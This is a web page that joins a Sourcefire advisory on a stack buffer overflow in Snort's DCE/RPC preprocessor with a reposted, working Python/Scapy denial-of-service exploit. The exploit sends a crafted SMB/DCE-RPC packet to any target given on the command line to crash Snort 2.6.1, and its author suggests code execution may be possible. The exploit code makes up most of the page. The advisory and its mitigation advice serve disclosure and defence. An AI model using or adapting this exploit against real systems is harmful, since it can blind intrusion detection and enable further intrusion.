Sourcefire Advisory - Vulnerability in Snort DCE/RPC Preprocessor
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Sourcefire has learned of a remotely exploitable vulnerability in the Snort DCE/RPC preprocessor. This preprocessor is vulnerable to a stack-based buffer overflow that could potentially allow attackers to execute code with the same privileges as the Snort binary. Sourcefire has prepared updates for Snort open-source software to address this issue. This vulnerability also affects Sourcefire commercial products.
Users who have disabled the DCE/RPC preprocessor are not vulnerable. However, the DCE/RPC preprocessor is enabled by default.
Snort users who cannot upgrade immediately are advised to disable the DCE/RPC preprocessor by removing the DCE/RPC preprocessor directives from snort.conf and restarting Snort. However, be advised that disabling the DCE/RPC preprocessor reduces detection capabilities for attacks in DCE/RPC traffic. After upgrading, customers should reenable the DCE/RPC preprocessor.
Exploit for Snort Vulnerability Released
This exploit just crash Snort 2.6.1 on Fedora Core 4. However, Code Execution may be possible, but I have no time to make it :( I will post the information about this vulnerability in my blog soon
Note: this exploit use Scapy (http://www.secdev.org/projects/scapy/) to inject the packet, so you have to install Scapy before use it.
#!/usr/bin/python
#
# Snort DCE/RPC Preprocessor Buffer Overflow (DoS)
#
# Author: Trirat Puttaraksa
#
# http://sf-freedom.blogspot.com
#
######################################################
# For educational purpose only
#
# This exploit just crash Snort 2.6.1 on Fedora Core 4. However, Code Execution
# may be possible, but I have no time to make it :(
# I will post the information about this vulnerability in my blog soon
#
# Note: this exploit use Scapy (http://www.secdev.org/projects/scapy/)
# to inject the packet, so you have to install Scapy before use it.
#
#######################################################
import sys
from scapy import *
from struct import pack
conf.verb = 0
# NetBIOS Session Service
payload = "\x00\x00\x01\xa6"
# SMB Header
payload += "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"
payload += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
payload += "\x00\x08\x30\x00"
# Tree Connect AndX Request
payload += "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"
payload += "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"
payload += "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"
payload += "\x3f\x3f\x3f\x3f\x3f\x00"
# NT Create AndX Request
payload += "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"
payload += "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
payload += "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"
payload += "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"
payload += "\x63\x00\x00\x00"
# Write AndX Request #1
payload += "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
payload += "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"
payload += "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00"
payload += "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
payload += "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
payload += "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
payload += "\x2b\x10\x48\x60\x02\x00\x00\x00"
# Write AndX Request #2
payload += "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
payload += "\x00\x48\x00\x00\x00\xff\x01\x30\x01\x00\x00\x00\x00\x49\x00\xee"
payload += "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00"
payload += "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
payload += "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
payload += "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
payload += "\x2b\x10\x48\x60\x02\x00\x00\x00"
if len(sys.argv) != 2:
print "Usage snort_dos_dcerpc.py "
sys.exit(1)
target = sys.argv[1]
p = IP(dst=target) / TCP(sport=1025, dport=139, flags="PA") / payload
send(p)
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